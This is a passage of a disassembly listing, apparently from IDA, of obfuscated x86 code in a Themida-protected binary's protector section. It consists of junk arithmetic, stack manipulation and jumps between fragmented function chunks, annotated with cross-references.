add esp, 4
sub ecx, ebp
sub ecx, 796D1819h
pop ebp
push 6A98h
mov [esp+0], ebp
push ebx
push esp
push [esp+8+var_8]
mov ebx, [esp+0Ch+var_C]
push esi
mov esi, esp
push ebp
mov ebp, 52922787h
jmp loc_55B83C
; END OF FUNCTION CHUNK FOR sub_55C719
; ---------------------------------------------------------------------------
loc_56554B: ; CODE XREF: Themida_:0056B003j
not edi
inc edi
or edi, 1652263Ch
sub edi, 0D218B03Ch
mov eax, edi
jmp loc_566A72
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_565561: ; CODE XREF: sub_56F13C-F336j
mov ecx, [esp-4+arg_0]
push ebp
push esp
jmp loc_56ED89
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56556B: ; CODE XREF: sub_56755A-2C6j
mov edi, 4B260BFFh
push eax
mov eax, 753702D2h
jmp loc_5648D6
; ---------------------------------------------------------------------------
loc_56557B: ; CODE XREF: sub_56755A+1BE0j
mov edx, esp
jmp loc_56533E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_565582: ; CODE XREF: sub_561ED8+1EB8j
xor dh, bh
mov ebx, [esp-0Ah+arg_4+2]
jmp loc_565749
; END OF FUNCTION CHUNK FOR sub_561ED8
; =============== S U B R O U T I N E =======================================
sub_56558C proc near ; CODE XREF: sub_55DF57+1j
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ebp
mov ebp, 274171D3h
xor [esp+4], ebp
pop ebp
mov eax, [esp+0]
add esp, 4
jmp sub_56E55E
sub_56558C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5636A9
loc_5655A7: ; CODE XREF: sub_5636A9+9490j
dec dl
shl dl, 7
push eax
mov ah, 3Ch
add dl, ah
push [esp+4+var_4]
pop eax
push ecx
push esp
pop ecx
add ecx, 4
add ecx, 4
xchg ecx, [esp+8+var_8]
jmp loc_55FE9F
; END OF FUNCTION CHUNK FOR sub_5636A9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5655CC: ; CODE XREF: sub_56755A+427Dj
add eax, ebx
push ebx
mov ebx, 29EC6320h
add ebx, 28EB2A40h
sub esp, 4
mov [esp+14h+var_14], esi
jmp loc_56E972
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5655E5: ; CODE XREF: Themida_:00569DC7j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
jmp loc_566533
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EAC4
loc_5655F6: ; CODE XREF: sub_55EAC4+Aj
push [esp+8+var_8]
pop ebx
jmp sub_55DD27
; END OF FUNCTION CHUNK FOR sub_55EAC4
; ---------------------------------------------------------------------------
loc_5655FF: ; CODE XREF: Themida_:0056B07Bj
add esi, 3E223EF2h
pop ebp
sub esi, 18B49E44h
mov edi, esi
mov esi, [esp]
add esp, 4
sub edi, 0FFFFFFFFh
shl edi, 8
jmp loc_55D2F2
; ---------------------------------------------------------------------------
loc_565622: ; CODE XREF: Themida_:005691A3j
add ecx, 271C16DCh
add ecx, 4CCC58CAh
push edi
push ecx
mov ecx, 4E0A0A34h
shr ecx, 3
neg ecx
add ecx, 43CD5ABAh
mov edi, ecx
pop ecx
push edi
jmp loc_562BEF
; ---------------------------------------------------------------------------
loc_565649: ; CODE XREF: Themida_:0056652Ej
add ebx, eax
push dword ptr [esp]
pop eax
jmp loc_56A099
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F13C
loc_565654: ; CODE XREF: sub_56F13C-3E23j
xor ebp, ecx
xor ecx, ebp
not ebp
xchg ebp, ecx
dec ecx
xor ecx, 0AC88CA0Fh
jmp loc_55FE04
; END OF FUNCTION CHUNK FOR sub_56F13C
; ---------------------------------------------------------------------------
loc_565668: ; CODE XREF: Themida_:00561A2Bj
mov esp, [esp]
mov [esp], edx
push esp
mov edx, [esp]
push ecx
mov ecx, esp
push eax
jmp loc_55E420
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56567B: ; CODE XREF: sub_56755A-BAB1j
mov [esp+10h+var_10], ebx
push ecx
mov ecx, 43D478FAh
mov ebx, ecx
jmp loc_55C7D9
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56568B: ; CODE XREF: Themida_:0056E6DAj
mov ebp, 13691EBAh
sub [esp+4], ebp
pop ebp
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_56569A: ; CODE XREF: Themida_:005706C2j
push bx
mov bh, 0B9h
jmp loc_56E7C1
; ---------------------------------------------------------------------------
loc_5656A3: ; CODE XREF: Themida_:0055EA51j
sub esp, 4
mov [esp], edx
jmp loc_567757
; ---------------------------------------------------------------------------
loc_5656B1: ; CODE XREF: Themida_:0056AF7Dj
pop ebp
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_5656B7: ; CODE XREF: Themida_:0056B671j
mov [esp], ecx
mov ecx, 169C25A7h
mov ebx, 24552D6Bh
add ebx, ecx
pop ecx
neg ebx
shl ebx, 2
jmp loc_56F067
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DA88
loc_5656D1: ; CODE XREF: sub_55DA88+6C4Bj
add esp, 4
sub esp, 4
mov [esp+0], edx
jmp sub_56B812
; END OF FUNCTION CHUNK FOR sub_55DA88
; ---------------------------------------------------------------------------
loc_5656E2: ; CODE XREF: Themida_:005636F2j
add edx, 4
sub edx, 4
jmp loc_5607C2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_566504
loc_5656F3: ; CODE XREF: sub_566504+46B3j
add ebx, esi
sub ebx, 69B96BB9h
pop esi
xor ebx, 88F1E11h
or ebx, 24CA2357h
xor ebx, 0EF429C4Fh
jmp loc_56866B
; END OF FUNCTION CHUNK FOR sub_566504
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565713: ; CODE XREF: sub_56755A+8ADCj
push ecx
push [esp+18h+var_14]
pop ecx
pop [esp+18h+var_18]
mov esp, [esp+14h+var_14]
mov [esp+14h+var_14], edx
sub esp, 4
mov [esp+18h+var_18], eax
jmp loc_56792C
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56572D proc near ; CODE XREF: sub_566894+7EB9j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 00564260 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0056A6E7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056DA40 SIZE 00000007 BYTES
push ebp
mov ebp, 163A2D87h
shr ebp, 6
and ebp, 449C3CC4h
and ebp, 786D2752h
neg ebp
jmp loc_564260
sub_56572D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561ED8
loc_565749: ; CODE XREF: sub_561ED8+36AFj
add esp, 4
xor bh, dh
push [esp-0Eh+arg_8+2]
pop edx
add esp, 4
jmp loc_569D45
; END OF FUNCTION CHUNK FOR sub_561ED8
; ---------------------------------------------------------------------------
loc_56575D: ; CODE XREF: Themida_:00563257j
pop edi
jmp loc_56442A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565763: ; CODE XREF: sub_56755A+623Dj
push eax
mov eax, esp
add eax, 4
jmp sub_5696A6
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565770: ; CODE XREF: Themida_:0056EDE9j
pop edx
jmp loc_563B4D
; ---------------------------------------------------------------------------
loc_565776: ; CODE XREF: Themida_:0055D6A1j
mov ebp, 6C737D09h
add ebx, ebp
pop ebp
add ebx, 747868E9h
push esi
mov esi, 3D98028Fh
inc esi
xor esi, 73C85A95h
sub ebx, esi
pop esi
add edi, ebx
pop ebx
sub edi, 5CA63EE8h
jmp loc_562A3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E55E
loc_5657A2: ; CODE XREF: sub_56E55E-1008j
add ebx, edi
pop edi
sub ebx, edi
sub ebx, 705470Ch
mov edi, [esp+10h+var_10]
add esp, 4
jmp loc_55C027
; END OF FUNCTION CHUNK FOR sub_56E55E
; ---------------------------------------------------------------------------
loc_5657BB: ; CODE XREF: Themida_:0055BBD6j
add edx, 4
xchg edx, [esp]
jmp loc_563E85
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_5657C6: ; CODE XREF: sub_562F50-57F1j
dec edx
not edx
jmp loc_5667E4
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
loc_5657CE: ; CODE XREF: Themida_:005683FEj
mov esi, esp
add esi, 4
add esi, 2
xchg esi, [esp]
pop esp
pop small word ptr [esp]
mov bp, [esp]
jmp loc_56CD6E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5657EA: ; CODE XREF: sub_56755A+406Cj
sub al, 7Dh
add al, 0EDh
sub al, bl
sub al, 0EDh
add al, 7Dh
push dx
mov dl, 0D4h
sub al, 29h
sub al, dl
add al, 29h
mov dx, word ptr [esp+1Eh+var_20+2]
add esp, 2
jmp loc_564304
; ---------------------------------------------------------------------------
loc_56580A: ; CODE XREF: sub_56755A-61A2j
xor esi, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
push 7165h
mov [esp-4+arg_0], ebx
mov ebx, 18D42492h
add edx, 300E7329h
sub edx, 27945F60h
sub edx, ebx
jmp loc_56BC46
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562F50
loc_565830: ; CODE XREF: sub_562F50-938j
add ecx, 70C1203h
sub ecx, eax
sub ecx, 70C1203h
mov eax, [esp+0]
add esp, 4
mov edx, [esp-4+arg_0]
push 1FE4h
mov [esp+0], esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp+0]
pop esp
rep movsd
add esp, [edx+38h]
push 7987h
mov [esp+0], eax
push edx
mov edx, 35474E29h
push eax
mov eax, 0BA405D6h
jmp loc_55D75A
; END OF FUNCTION CHUNK FOR sub_562F50
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56587F: ; CODE XREF: sub_56755A-27BAj
not ecx
sub ecx, 0FFFFFFFFh
shl ecx, 4
not ecx
not ecx
shr ecx, 8
sub ecx, 0A25E747Fh
jmp loc_55E189
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_56589C: ; CODE XREF: sub_56F7FC-1C1Fj
pop edx
pop edx
xor edx, 29AC0F22h
pop eax
jmp loc_56B538
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5658AA: ; CODE XREF: sub_56755A+56EFj
add edi, 0B0B2448Fh
add edx, edi
pop edi
add ebx, edx
pop edx
sub ebx, 56C65502h
pop esi
push eax
jmp sub_562462
; ---------------------------------------------------------------------------
loc_5658C3: ; CODE XREF: sub_56755A+1A2Cj
add esp, 4
push eax
mov eax, 5A0608EEh
jmp loc_56DC36
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
jmp loc_56B0CE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5658DE: ; CODE XREF: sub_56755A-9654j
xor [esp+0Eh+var_10+2], ebx
jmp loc_55C377
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5658E6: ; CODE XREF: Themida_:0056B0A0j
mov edi, edx
pop edx
not edi
add edi, 3F83400Ch
add ebp, edi
jmp loc_56E3A8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_5658F8: ; CODE XREF: sub_56F653-6AACj
shr dl, 1
xor dl, 1Eh
jmp loc_561D7A
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55DD27
loc_565902: ; CODE XREF: sub_55DD27+4B52j
mov ebx, [esp+4+var_4]
push esi
jmp loc_56FCF3
; END OF FUNCTION CHUNK FOR sub_55DD27
; ---------------------------------------------------------------------------
loc_56590B: ; CODE XREF: Themida_:0056907Dj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push dword ptr [esp]
jmp loc_560932
; ---------------------------------------------------------------------------
loc_565923: ; CODE XREF: Themida_:0056E80Ej
mov ecx, [esp]
add esp, 4
shl eax, 5
push 2D1Bh
mov [esp], ebp
sub esp, 4
jmp loc_565BA4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56593C: ; CODE XREF: sub_56755A+6FFFj
add [esp+0Eh+var_10+2], 4
pop edi
jmp loc_566EA1
; ---------------------------------------------------------------------------
loc_565946: ; CODE XREF: sub_56755A-5B8Aj
pop ebx
sub cl, 0D9h
push eax
mov eax, esp
jmp loc_561F39
; ---------------------------------------------------------------------------
loc_565952: ; CODE XREF: sub_56755A+B11j
and al, 0F2h
and al, 0A6h
add al, 1
jmp loc_55BA03
; ---------------------------------------------------------------------------
loc_56595D: ; CODE XREF: sub_56755A+4BD8j
pop ebp
add ebx, 6D27306Ch
push eax
mov eax, 23CE2DB4h
jmp loc_562B8B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56596F: ; CODE XREF: Themida_:0055CCFEj
sub ax, 1362h
pop si
add ax, 5AC0h
sub ax, 7617h
sub ax, 47C1h
jmp loc_565ECC
; ---------------------------------------------------------------------------
loc_565986: ; CODE XREF: Themida_:0056C786j
push dword ptr [esp]
pop ebp
push ebp
jmp loc_55D325
; ---------------------------------------------------------------------------
loc_565990: ; CODE XREF: Themida_:0056384Cj
push ebx
jmp loc_565510
; =============== S U B R O U T I N E =======================================
sub_565996 proc near ; CODE XREF: sub_56755A+3A33j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055BCAA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00560162 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005603AF SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00560598 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00566C02 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056DA35 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056F528 SIZE 00000011 BYTES
sub esp, 4
mov [esp+4+var_4], esp
push ecx
mov ecx, 4
add [esp+8+var_4], 54475C35h
add [esp+8+var_4], ecx
sub [esp+8+var_4], 54475C35h
jmp loc_560598
sub_565996 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5659BE: ; CODE XREF: sub_56755A-92C7j
add esp, 4
jmp loc_56D80E
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_5659C9: ; CODE XREF: sub_56667A-73A5j
add edi, 0BF5C69D2h
mov edx, edi
jmp loc_563C77
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562462
loc_5659D6: ; CODE XREF: sub_562462+6j
mov ebp, 2
mov eax, ebp
jmp loc_55DED1
; END OF FUNCTION CHUNK FOR sub_562462
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_5659E2: ; CODE XREF: sub_56E89A-257Bj
pop ebp
pop ecx
push [esp+4+var_4]
pop edx
add esp, 4
jmp loc_56FD23
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565C92
loc_5659F0: ; CODE XREF: sub_565C92+3j
mov [esp+4+var_4], ebx
jmp loc_56498F
; END OF FUNCTION CHUNK FOR sub_565C92
; ---------------------------------------------------------------------------
loc_5659F8: ; CODE XREF: Themida_:0055EF10j
pop esp
mov [esp], esp
add dword ptr [esp], 4
push dword ptr [esp]
jmp loc_5666DF
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_565A08: ; CODE XREF: sub_56F7FC-B801j
push edi
push esi
mov esi, 0F00144h
mov edi, esi
pop esi
xor edx, edi
jmp loc_56066D
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5622B3
loc_565A19: ; CODE XREF: sub_5622B3+17j
xchg ebx, [esp+4+var_4]
pop esp
mov [esp+0], ebx
push 787Ch
mov [esp+4+var_4], ecx
jmp sub_561D98
; END OF FUNCTION CHUNK FOR sub_5622B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565A2D: ; CODE XREF: sub_56755A+8424j
mov cl, dh
pop edx
add al, cl
pop ecx
jmp loc_565A9D
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_565A38: ; CODE XREF: sub_563973+33F1j
pop ebx
add edx, 1D8B1DF9h
add edx, edi
sub edx, 1D8B1DF9h
push ecx
mov ecx, 1C7B6B10h
sub edx, ecx
jmp loc_563895
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565A54: ; CODE XREF: sub_56755A+486Ej
xchg eax, [esp-8+arg_4]
pop esp
jmp sub_56A161
; ---------------------------------------------------------------------------
loc_565A5D: ; CODE XREF: sub_56755A+A00j
mov ebx, 246A21A6h
jmp loc_5698A5
; ---------------------------------------------------------------------------
loc_565A67: ; CODE XREF: sub_56755A+723Ej
push esp
mov edx, [esp-8+arg_4]
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
push ebp
push [esp-4+arg_4]
pop ebp
pop [esp-4+arg_0]
pop esp
jmp loc_56E190
; ---------------------------------------------------------------------------
loc_565A8C: ; CODE XREF: sub_56755A-6E73j
pop edi
mov esi, [esp+4+var_4]
add esp, 4
add edx, eax
jmp loc_56009C
; ---------------------------------------------------------------------------
loc_565A9D: ; CODE XREF: sub_56755A-1B27j
xor al, 0F0h
and bl, al
pop eax
jmp loc_566907
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565AA7: ; CODE XREF: Themida_:005697FCj
sub edi, 8A40B751h
xor edx, edi
pop edi
jmp loc_568EEA
; ---------------------------------------------------------------------------
loc_565AB5: ; CODE XREF: Themida_:00560FD2j
sub esp, 4
mov [esp], esp
push eax
mov eax, 4
add [esp+4], eax
pop eax
jmp loc_55BB4E
; ---------------------------------------------------------------------------
loc_565ACE: ; CODE XREF: Themida_:0055D224j
imul ecx, eax
push ecx
pushf
jmp loc_561FD3
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop eax
push ebx
mov ebx, esp
add ebx, 4
push 5062h
mov [esp], ecx
push 2485h
mov [esp], edi
jmp loc_56A1D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565AFA: ; CODE XREF: sub_56755A-B8F8j
add esi, 4
add esi, 4
xchg esi, [esp+1Ah+var_1C+2]
pop esp
shl ecx, 1
add ecx, 0FFFFFFFFh
shl ecx, 1
dec ecx
sub esp, 4
mov [esp+1Ah+var_1C+2], ebx
mov ebx, 4940C28Ah
add ecx, ebx
pop ebx
jmp loc_568169
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_565B25 proc near ; CODE XREF: sub_566DC6-4927j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00561528 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005699EB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056D65B SIZE 00000037 BYTES
sub esp, 4
mov [esp+4+var_4], edx
mov edx, 18330214h
push 3D65h
mov [esp+8+var_8], ebp
push ebx
push ebp
mov ebp, 16BB0BE3h
jmp loc_5699EB
sub_565B25 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D600
loc_565B47: ; CODE XREF: sub_56D600-1E04j
pop ecx
jmp sub_56B5E8
; END OF FUNCTION CHUNK FOR sub_56D600
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565B4D: ; CODE XREF: sub_56755A+2E6Aj
and edx, 47AE27A1h
sub edx, 72800FDh
add edi, edx
pop edx
xchg edi, [esp+12h+var_14+2]
mov esp, [esp+12h+var_14+2]
loc_565B62: ; CODE XREF: Themida_:00568D27j
push edx
mov edx, eax
jmp loc_5645EE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56885A
loc_565B6A: ; CODE XREF: sub_56885A-18EFj
mov ebp, 4
add edi, ebp
pop ebp
jmp loc_5672D0
; END OF FUNCTION CHUNK FOR sub_56885A
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_55B555
; ---------------------------------------------------------------------------
loc_565B87: ; CODE XREF: Themida_:005636BEj
add edx, 4A3D0869h
or esi, edx
pop edx
sub esi, 0CBB6E33h
jmp loc_55E9D0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_565B9B: ; CODE XREF: sub_560B67+B48Fj
xor eax, ecx
push eax
push ebp
jmp loc_566E51
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
loc_565BA4: ; CODE XREF: Themida_:00565937j
mov [esp], esi
jmp loc_56B40D
; ---------------------------------------------------------------------------
loc_565BAC: ; CODE XREF: Themida_:00561FDAj
neg ebp
dec ebp
jmp loc_55CFA4
; ---------------------------------------------------------------------------
loc_565BB4: ; CODE XREF: Themida_:00564C0Bj
pop ebp
sub ecx, 58511E99h
shl ecx, 3
xor ecx, 7ED5B2AEh
sub esi, ecx
jmp loc_56630A
; ---------------------------------------------------------------------------
loc_565BCB: ; CODE XREF: Themida_:0055F684j
mov ebx, ecx
pop ecx
push eax
jmp loc_566783
; ---------------------------------------------------------------------------
loc_565BD4: ; CODE XREF: Themida_:0055B7E3j
pop eax
inc eax
xor eax, 0DFFEF7F0h
mov edi, eax
pop eax
add ebx, edi
jmp loc_56ADE0
; ---------------------------------------------------------------------------
loc_565BE5: ; CODE XREF: Themida_:0056D128j
sub edx, 40214289h
add ecx, edx
pop edx
push esi
mov esi, 331F0908h
xchg ebx, esi
not ebx
jmp loc_568317
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560B67
loc_565BFD: ; CODE XREF: sub_560B67+C797j
push esi
push dword ptr [esp+4]
pop esi
pop [esp+4+var_4]
jmp loc_55FD8F
; END OF FUNCTION CHUNK FOR sub_560B67
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560FD7
loc_565C0B: ; CODE XREF: sub_560FD7-46FAj
pop edx
mov ebx, [esp+4+var_4]
add esp, 4
xchg dh, cl
dec dh
jmp loc_567924
; END OF FUNCTION CHUNK FOR sub_560FD7
; ---------------------------------------------------------------------------
loc_565C1B: ; CODE XREF: Themida_:0056CC0Cj
sub al, 0A2h
jmp loc_56A6CD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565C22: ; CODE XREF: sub_56755A+C48j
mov eax, [esp+16h+var_18+2]
jmp loc_55D629
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_565C2A: ; CODE XREF: Themida_:00563C69j
add esp, 4
push eax
mov eax, 43B64F51h
jmp loc_55CEA2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565C3B: ; CODE XREF: sub_56755A-3557j
xchg edi, [esp+0]
pop esp
add edi, 4
jmp loc_55E6B3
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_565C4A proc near ; CODE XREF: sub_56755A+27ACj
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055BDA9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0055CDB7 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0055F36E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005612E6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00561AD6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564AC7 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005654B9 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056BABD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0056EC61 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0056F56D SIZE 00000009 BYTES
push ebx
mov ebx, 5E37677Dh
sub esi, ebx
jmp loc_561AD6
sub_565C4A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_565C57: ; CODE XREF: Themida_:0055BD5Bj
mov bh, 0A1h
jmp loc_55FECB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_565C5E: ; CODE XREF: sub_56E89A+1D88j
jmp loc_570536
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_565C63: ; CODE XREF: Themida_:00562814j
add esp, 4
add eax, ebx
push 603Dh
mov [esp], ecx
mov ecx, 541856E0h
or ecx, 5B593E3Fh
jmp loc_56F2CC
; ---------------------------------------------------------------------------
loc_565C80: ; CODE XREF: Themida_:0055D11Bj
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_56D904
; =============== S U B R O U T I N E =======================================
sub_565C92 proc near ; CODE XREF: sub_56BFA1+1j
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0056498F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005659F0 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005666F4 SIZE 0000000F BYTES
sub esp, 4
jmp loc_5659F0
sub_565C92 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F7FC
loc_565C9A: ; CODE XREF: sub_56F7FC-41E4j
push 55B2h
mov [esp-4+arg_0], ecx
mov ecx, 3DB853ACh
push eax
mov eax, 3AE1D2Ah
add [esp+arg_4], 1FA97819h
add [esp+arg_4], eax
sub [esp+arg_4], 1FA97819h
pop eax
add [esp-4+arg_4], 5F0D19CCh
jmp loc_56A37A
; END OF FUNCTION CHUNK FOR sub_56F7FC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565CCF: ; CODE XREF: sub_56755A-ADEFj
add dl, 0D0h
sub bh, dl
pop edx
sub al, 59h
sub al, bh
push ebx
mov bl, 4Ch
sub bl, 0D6h
shr bl, 3
neg bl
sub bl, 99h
add al, bl
pop ebx
jmp loc_561E09
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_565CEF proc near ; CODE XREF: sub_56026A-708j
var_C = dword ptr -0Ch
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055F367 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00561185 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 00564467 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0056E83D SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F3F6 SIZE 0000000E BYTES
push ebp
mov ebp, 4
jmp loc_55F367
sub_565CEF endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563973
loc_565CFA: ; CODE XREF: sub_563973+A88Aj
mov ecx, ebx
mov eax, ecx
pop ecx
mov ebx, [esp+0]
add esp, 4
and ecx, eax
mov eax, [esp+8+var_8]
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
pop esp
mov [esp+8+var_8], edi
jmp loc_55DBA7
; END OF FUNCTION CHUNK FOR sub_563973
; ---------------------------------------------------------------------------
loc_565D25: ; CODE XREF: Themida_:00564BD6j
push dx
mov dl, 9Ch
or ch, dl
pop dx
push bx
mov bh, 1
add ch, bh
pop bx
jmp loc_55D10B
; ---------------------------------------------------------------------------
loc_565D3A: ; CODE XREF: Themida_:00569CBEj
inc ebx
and ebx, 34512AAh
add ebx, 0FDFAFF62h
add edi, ebx
jmp loc_56DDDD
; ---------------------------------------------------------------------------
loc_565D4E: ; CODE XREF: Themida_:0056D699j
add ebp, 71177865h
add ebp, 10F1C0ECh
sub ecx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
push eax
mov eax, 416EC2h
shr eax, 3
shr eax, 6
dec eax
xor eax, 46720599h
jmp loc_561A77
; ---------------------------------------------------------------------------
loc_565D7D: ; CODE XREF: Themida_:005604ACj
push edx
mov edx, 79173A8Fh
shr edx, 6
xor edx, 37B46FFFh
jmp loc_55BC72
; ---------------------------------------------------------------------------
loc_565D91: ; CODE XREF: Themida_:00568817j
push ebp
jmp loc_564C10
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_565D97: ; CODE XREF: sub_56755A+3D5j
add esi, 4
sub esi, 4
xor esi, [esp+4+var_4]
xor [esp+4+var_4], esi
jmp loc_55EEAC
